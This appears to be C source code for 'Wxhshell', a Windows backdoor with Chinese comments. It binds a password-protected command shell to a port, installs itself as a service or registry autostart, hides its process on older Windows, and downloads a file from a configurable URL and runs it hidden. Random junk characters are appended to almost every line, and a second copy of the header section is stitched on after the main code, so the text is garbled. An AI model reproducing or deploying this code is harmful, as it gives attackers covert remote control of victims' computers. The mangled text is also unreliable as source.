DWORD AffinityMask; M$A"<5
DWORD BasePriority; &s_O6cqgh
ULONG UniqueProcessId; `9b/Q
ULONG InheritedFromUniqueProcessId; k{Yj!C>
#
} PROCESS_BASIC_INFORMATION; 4VLrl8$K
cF_`m
PROCNTQSIP NtQueryInformationProcess; 5{qFKo"g@,
w'ZL'/d
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EL80f>K
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +g ovnx
a
#?%I#
HANDLE hProcess; /HH5Mn*
PROCESS_BASIC_INFORMATION pbi; (qHI>3tpY
T#?KY
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {y=H49
if(NULL == hInst ) return 0; oz%ZEi\bW
"XMTj <D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N8:?Z#z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {c|nIwdB
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u9}}}UN!
8m1@l$
if (!NtQueryInformationProcess) return 0; ":?>6'*1
@P+k7"f
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @m! ~![
if(!hProcess) return 0; [~?LOH
A- IpE
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jis{k$4
YMLo~j4J
CloseHandle(hProcess); 1eI>Yy>}
ftF?T.dx
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
OM{-^
if(hProcess==NULL) return 0; By6C+)up
NZYtA7
HMODULE hMod; orf21N+ [
char procName[255]; RvV4SlZz
unsigned long cbNeeded; 9a2Ga
N8}R<3/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fHYEK~!C04
K,%H*1YKK
CloseHandle(hProcess); IJO`"da
"QA CQ-
if(strstr(procName,"services")) return 1; // 以服务启动 Fgxh?Wd9
]"q[hF*PM
return 0; // 注册表启动 ULMG"."IH
} Sj(uc#
sIdo(`8$
// 主模块 l*("[?>I
int StartWxhshell(LPSTR lpCmdLine) N:[m,U9a
{ 3Gf^IV-
SOCKET wsl; A_T-]YQ
BOOL val=TRUE; zMt "ST.
int port=0; g"(
vl-Uw
struct sockaddr_in door; J]nb;4w
EnA) Rz
if(wscfg.ws_autoins) Install(); C*ZgjFvB
Xj"/6|X
port=atoi(lpCmdLine); fG;)wQJ
`R0>;TdT
if(port<=0) port=wscfg.ws_port; L 7_Mg{
U2/H,D
WSADATA data; 75wQH*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @no]*?Gpa
%m!o#y(hD`
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; h1G]w/.ws
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y}'C'PR
door.sin_family = AF_INET; i;*c|ma1>
door.sin_addr.s_addr = inet_addr("127.0.0.1"); zC!]bWsD
door.sin_port = htons(port); l@4hBq
|M`B
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rAIX(2@cR_
closesocket(wsl); k!t5>kPSQ
return 1; nVw]0Yl
} REB8_ H"
D4G*K*z,w4
if(listen(wsl,2) == INVALID_SOCKET) { D}vgXzD
closesocket(wsl); COc1np
return 1; [nn/a?Z4S
} ?c"No|@+
Wxhshell(wsl); a-x8LfcbF
WSACleanup(); l!Z>QE`.S
y.JAtsxD
return 0; JM -Tp!C>
@5\OM#WT~&
} >k*QkIyq
u!oHP
// 以NT服务方式启动 a+)Yk8%KY
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f'TjR#w
{ sn2SDHY
DWORD status = 0; ?`AzgM[I
DWORD specificError = 0xfffffff; 2,/("lV@0
?+D_*'65D
serviceStatus.dwServiceType = SERVICE_WIN32; Run)E*sf
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9 }|Bs=q
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oiJa1X
serviceStatus.dwWin32ExitCode = 0; (<s7X$(]e
serviceStatus.dwServiceSpecificExitCode = 0; R+P,kD?
serviceStatus.dwCheckPoint = 0; %Ub"V\1
serviceStatus.dwWaitHint = 0; C"k8M\RW?
k7>* fQ89@
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6.~HbN
if (hServiceStatusHandle==0) return; !sEI|47{
pnca+d
status = GetLastError(); )"|'=
if (status!=NO_ERROR) `5<
{ -
4' yp
serviceStatus.dwCurrentState = SERVICE_STOPPED; G~a;q+7v'$
serviceStatus.dwCheckPoint = 0; i' %V}2
serviceStatus.dwWaitHint = 0; >*,Zc
serviceStatus.dwWin32ExitCode = status; ;H_yNrwA
serviceStatus.dwServiceSpecificExitCode = specificError; # Fw<R'c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t<$9!"
return; ($7>\"+Tl
} Zg5@l3w
M7Cq)cT
serviceStatus.dwCurrentState = SERVICE_RUNNING; :35J<oG
serviceStatus.dwCheckPoint = 0; [esjR`u
serviceStatus.dwWaitHint = 0; ETV|;>v
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )K -@{v^|
} {F6hx9?
TGdD7n&Ehh
// 处理NT服务事件,比如:启动、停止 (NOAHV0H
VOID WINAPI NTServiceHandler(DWORD fdwControl) (-(,~E
{ 6|X
switch(fdwControl) +>KWYPH
{ U&C\5N]
case SERVICE_CONTROL_STOP: ^>h
9<
serviceStatus.dwWin32ExitCode = 0; =R:3J"ly0
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3T# zxu
serviceStatus.dwCheckPoint = 0; Ayc}uuu
serviceStatus.dwWaitHint = 0; }/x `w
{ !O@qqg(>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]d_Id]Qa+
} "@Ra>qb
return; Ik>sd@X*|
case SERVICE_CONTROL_PAUSE: q-/A_5>!;f
serviceStatus.dwCurrentState = SERVICE_PAUSED; tQ5gmj
break; L7G':oA_`p
case SERVICE_CONTROL_CONTINUE: .MhZ=sn
serviceStatus.dwCurrentState = SERVICE_RUNNING; qeQTW@6
F
break; <4^ _dJ9=
case SERVICE_CONTROL_INTERROGATE: h\Op|#gIT
break; F:n(yXA
}; &?9p\oY[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SY`NZJK
} f5
wn`a~h
92]>"
// 标准应用程序主函数 \|@]XNSN
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L'J$jB5cP
{ mJc'oG-
4fr/
C5M
// 获取操作系统版本 1Nx%uz
OsIsNt=GetOsVer(); 9j49#wG0"B
GetModuleFileName(NULL,ExeFile,MAX_PATH); $f_;>f2N
[`=|^2n?
// 从命令行安装 ?:s `}b
if(strpbrk(lpCmdLine,"iI")) Install(); zbddn4bW9
$d:/cN
8E
// 下载执行文件 {ogGi/8
if(wscfg.ws_downexe) { /jC0[%~jV
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x/~V
ZO
WinExec(wscfg.ws_filenam,SW_HIDE); !a[
voUS
} 'dQ2"x?4
|bi"J;y
if(!OsIsNt) { 09_3`K.*
// 如果时win9x,隐藏进程并且设置为注册表启动 ~kS~v
HideProc(); `dMOBYV
StartWxhshell(lpCmdLine); g`y
>)N/
} }LM^>M%
else 4Yt:PN2
if(StartFromService()) @8DBLn w
// 以服务方式启动 4M i*bN,
StartServiceCtrlDispatcher(DispatchTable); bo <.7
else l4O}>#
// 普通方式启动 r}WV"/]p
StartWxhshell(lpCmdLine); 8niQG']
}z,4IHNn
return 0; B:n9*<v(
} $A7[?Ai ?
"}\z7^.W>
-[~{c]/ c
pA!+;Y!ZB<
=========================================== M98dQ%4I
[m|\N
rD%(*|Y"c
CP7Zin1S/w
!z{bqPlFGG
*;m5^i<,;S
" xHJ+!
/6gqpzum4
#include <stdio.h> \hc}xy
0
#include <string.h> JR$Dp&]I
#include <windows.h> )qn
=
#include <winsock2.h> NrgN{6u;
#include <winsvc.h> 3.Ni%FF`
#include <urlmon.h> qX0IHe
I:]s/r7
#pragma comment (lib, "Ws2_32.lib") Vd)iv\a
#pragma comment (lib, "urlmon.lib") e&8pTD3
}Da8S|)H
#define MAX_USER 100 // 最大客户端连接数 JXftQOn
#define BUF_SOCK 200 // sock buffer ah"2^x
#define KEY_BUFF 255 // 输入 buffer UQPd@IVu6
aPcO9
#define REBOOT 0 // 重启 $$A{|4,aI
#define SHUTDOWN 1 // 关机 H6/@loO!Xy
hNyYk(t^
#define DEF_PORT 5000 // 监听端口 @xtcjB9
L
G,XhN
#define REG_LEN 16 // 注册表键长度 =Q.2:*d.
#define SVC_LEN 80 // NT服务名长度 OB6I8n XW
l#~Sh3@L(
// 从dll定义API {u9(qd;;
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fF_1ZKx+#!
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )}~k7bb}Y
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NX@TWBn%
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .m;1V6
WQv~<]1JF
// wxhshell配置信息 Z A1?'
struct WSCFG { ,
y{o!w
int ws_port; // 监听端口 8s?;<6
char ws_passstr[REG_LEN]; // 口令 nvu|V3B0
int ws_autoins; // 安装标记, 1=yes 0=no ;#EB0TK
char ws_regname[REG_LEN]; // 注册表键名 cw/g1,p
char ws_svcname[REG_LEN]; // 服务名 V>g EF'g
char ws_svcdisp[SVC_LEN]; // 服务显示名 F!|Z_6\tv:
char ws_svcdesc[SVC_LEN]; // 服务描述信息 uEVRk9nb
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AjAmV
hq
int ws_downexe; // 下载执行标记, 1=yes 0=no zST#X}
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VXn]*Mo
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MZn7gT0
?lR)Hi
}; %ghQ#dZ]&
^5 F-7R8Q
// default Wxhshell configuration {KeHqM}e
struct WSCFG wscfg={DEF_PORT, nl*{@R.q @
"xuhuanlingzhe", #n{wK+lz
1, _AI2\e
"Wxhshell", 7Q0M3m
"Wxhshell", Q7"KgqpQ3
"WxhShell Service", .Z8 x!!Q*
"Wrsky Windows CmdShell Service", udp&